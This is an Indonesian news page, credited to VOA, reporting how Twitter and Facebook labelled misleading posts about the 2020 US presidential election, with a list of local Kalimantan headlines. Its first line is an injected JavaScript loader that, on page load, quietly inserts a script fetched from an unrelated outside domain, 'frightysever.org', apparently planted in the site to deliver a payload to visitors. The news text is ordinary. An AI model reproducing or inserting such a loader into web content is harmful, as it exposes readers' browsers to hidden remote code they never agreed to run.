(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

Media Sosial Batasi Pidato Terkait Pemilu AS


KANALKALIMANTAN.COM – Dengan hasil pemilihan presiden Amerika Serikat (AS) yang masih belum pasti pada Rabu (4/11), Twitter dan Facebook mengambil langkah baru untuk menandai komentar terkait pemilu yang berpotensi menyesatkan baik dari tokoh-tokoh Partai Republik maupun dari tokoh Demokrat.

Hingga Rabu (4/11) tengah hari, Twitter membatasi upaya Presiden Donald Trump untuk melancarkan empat cuitan dengan melampirkan label yang mengarahkan para pembaca ke informasi mengenai pemilu dan keamanan.

Salah satu cuitan Trump berpotensi menuduh pejabat pemilu menggelapkan penghitungan suara. Dalam cuitannya, Presiden AS itu menyebutkan “mereka bekerja keras untuk menghilangkan 500.000 keuntungan suara di Pennsylvania – ASAP. Begitu pula, Michigan dan lainnya!”

Twitter membuat cuitan tersebut dengan label yang menyatakan “beberapa atau semua konten yang dibagikan dalam cuitan ini disengketakan dan mungkin menyesatkan terkait pemilu atau proses sipil lainnya.” Namun, ketika diklik “Lihat”, cuitan Presiden AS itu masih dapat terlihat.

Sementara itu, Facebook menyatakan akan menampilkan pemberitahuan di situsnya dan juga Instagram bahwa suara masih dihitung dan pemenangnya belum diproyeksikan. Facebook mengatakan pesan itu akan diterapkan bagi kedua kandidat.

Langkah yang diambil raksasa internet itu menandakan kesediaan yang baru untuk menjembatani situs tersebut dan masuk ke dalam pusaran fakta dan teori, bahkan ketika orang-orang terkemuka berbicara.

Twitter juga memasang beberapa peringatan dalam cuitan para pemimpin Demokrat. Sebuah unggahan pada Rabu (4/11) pagi oleh Neera Tanden, presiden lembaga strategis liberal Center for American Progress. Tanden mengklaim bahwa Biden mencapai ambang batas untuk memenangkan pemilu, yang disinyalir salah. (mg/ft)

 

Editor: VOA


Desy Arfianty

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

3 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

5 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

6 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

6 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

6 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

18 jam ago

This website uses cookies.